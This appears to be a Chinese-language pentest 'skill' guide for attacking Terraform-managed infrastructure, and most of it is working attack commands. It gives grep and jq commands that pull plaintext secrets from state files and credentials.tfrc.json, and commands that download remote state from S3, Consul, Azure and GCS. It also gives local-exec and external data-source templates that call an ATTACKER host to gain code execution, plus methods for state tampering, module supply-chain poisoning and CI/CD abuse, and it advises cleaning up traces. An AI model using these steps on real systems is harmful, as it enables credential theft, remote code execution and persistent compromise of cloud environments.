用途
本技能为 Terraform 状态文件与基础设施即代码(IaC)攻击方法论,面向渗透测试与安全评估场景。当目标使用 Terraform 管理基础设施、发现 terraform.tfstate 文件、可访问远程 State 后端(S3/Consul/HTTP)、或可修改 Terraform 代码仓库时使用。Terraform 将所有托管资源的属性(包括密码、密钥、Token)以明文存储在 State 文件中,State 文件是攻击核心;此外 Terraform 的声明式特性意味着修改 .tf 文件或 Module 引用即可在 plan/apply 阶段获得代码执行。
主要能力
Phase 1:环境识别
搜索 Terraform 标识文件,确认攻击面,包括 .tf、terraform.tfstate / .tfstate、terraform.tfstate.backup、.terraform/、.terraform.lock.hcl、.tfvars / terraform.tfvars、.auto.tfvars、.terraformrc / credentials.tfrc.json、backend.tf / backend "s3" 块。识别命令示例:
find / -name "*.tf" -o -name "terraform.tfstate*" -o -name "*.tfvars" \
-o -name ".terraformrc" -o -name "credentials.tfrc.json" 2>/dev/null
env | grep -iE "^TF_|^TERRAFORM_|^AWS_|^GOOGLE_|^ARM_"
ps aux | grep -i terraform
Phase 2:攻击决策树
根据发现的资产类型选择路径:本地/备份 tfstate → State 文件凭据提取;远程 State 后端 → 下载提取或 State 篡改;.terraformrc / credentials.tfrc.json → Provider 凭据窃取;*.tfvars → 变量文件利用;可写 .tf → 恶意资源注入或 Module 供应链攻击;CI/CD 触发 plan/apply → Pipeline 利用。
Phase 3:State 文件凭据提取
所有资源属性(包括 sensitive 标记的)在 State 中均为明文。示例:
find / -name "terraform.tfstate*" -o -name "*.tfstate" 2>/dev/null
grep -iE "password|secret|token|api_key|access_key|private_key" terraform.tfstate
jq -r '.resources[].type' terraform.tfstate | sort -u
按资源类型提取凭据示例:
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[].attributes | {user: .user, id: .id, secret: .secret}' terraform.tfstate
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[].attributes | {endpoint: .endpoint, username: .username, password: .password}' terraform.tfstate
远程 State 后端利用示例:
aws s3 cp s3://BUCKET/PATH/terraform.tfstate /tmp/tfstate
consul kv get terraform/state
curl -s STATE_URL
az storage blob download --container-name tfstate --name terraform.tfstate --file /tmp/tfstate
gsutil cp gs://BUCKET/PATH/terraform.tfstate /tmp/tfstate
Provider 凭据窃取:
cat ~/.terraform.d/credentials.tfrc.json
jq -r '.credentials["app.terraform.io"].token' ~/.terraform.d/credentials.tfrc.json
env | grep -iE "^TF_VAR_|^AWS_|^GOOGLE_|^ARM_|^ALICLOUD_"
Output 敏感值提取:
terraform output
terraform output -json
jq -r '.outputs | to_entries[] | {name: .key, value: .value.value, sensitive: .value.sensitive}' terraform.tfstate
terraform output -raw SECRET_OUTPUT_NAME
Phase 4:恶意资源注入
当拥有 .tf 文件写权限时可注入恶意资源实现 RCE 或持久化。
local-exec(apply 阶段 RCE):
resource "null_resource" "exec" {
provisioner "local-exec" {
command = "curl http://ATTACKER/$(whoami)@$(hostname)"
}
}
external Data Source(plan 阶段 RCE):
data "external" "rce" {
program = ["bash", "-c", "curl http://ATTACKER/$(whoami) >&2; echo '{}'"]
}
Phase 5:State 篡改
当拥有 State 文件写权限(本地或远程后端)时可直接篡改 State 实现持久化。修改 serial 号(必须递增):
jq '.serial += 1' terraform.tfstate > tmp.tfstate && mv tmp.tfstate terraform.tfstate
篡改核心目标包括修改安全组规则开放端口、修改 IAM 策略提权、修改实例 user_data 执行后门、注入恶意 Provider 引用。
Phase 6:Module 供应链攻击
替换 Module 源为恶意 Git 仓库、无版本锁定时标签劫持、私有 Registry 投毒。检测点包括 .terraform.lock.hcl 中的 hash 是否被修改、Module source 是否指向非预期仓库、是否使用 commit hash 而非可变标签。
Phase 7:CI/CD Pipeline 利用
许多流程在 PR 阶段自动执行 terraform plan,通过 external data source 可在 plan 阶段实现 RCE。Atlantis 若 allow_custom_workflows=true,PR 中可添加 atlantis.yaml 定义 pre_workflow_hook 实现 RCE。Terraform Cloud / Enterprise 中可使用窃取的 TFE Token 通过 API 列出 Organization、Workspace、读取 Workspace 变量(包括 sensitive 变量)、下载 State。
使用方式
按 Phase 顺序推进:先做环境识别,再依据决策树选择路径。核心操作依赖 jq 解析 State 文件、terraform 系列命令(show、state list、state show、output、providers)、远程后端 CLI(aws s3、consul、az、gsutil、curl)及 Cloud API(curl + Authorization Bearer)。
适用场景
渗透测试中目标使用 Terraform 管理云基础设施时;发现本地或远程 State 文件时;获取到 Terraform Cloud/Enterprise Token 时;可修改 .tf、.tfvars 或 Module 引用时;Terraform 与 CI/CD(GitHub Actions、Atlantis、Terraform Cloud)集成时。
限制与注意事项
操作安全方面:terraform plan 和 apply 会产生审计日志(尤其在 Terraform Cloud/Enterprise 中);修改 State 文件后 serial 号必须递增,否则 Terraform 会报错;terraform apply -auto-approve 会直接执行变更,生产环境可能造成严重影响;恶意资源注入后应及时清理痕迹。State 文件处理方面:State 文件可能非常大(数 MB),包含完整基础设施快照;始终先备份原始 State 再进行篡改;State 锁机制(DynamoDB/Consul)可能阻止并发写入。凭据时效性方面:State 中的凭据可能已过期或被轮换;Terraform Cloud Token 通常有较长有效期;临时凭据(STS Token)可能已失效,需要重新获取。
完整的攻击技术细节、按资源类型的凭据提取 jq 查询、恶意资源注入模板,参见 references/attack-techniques.md。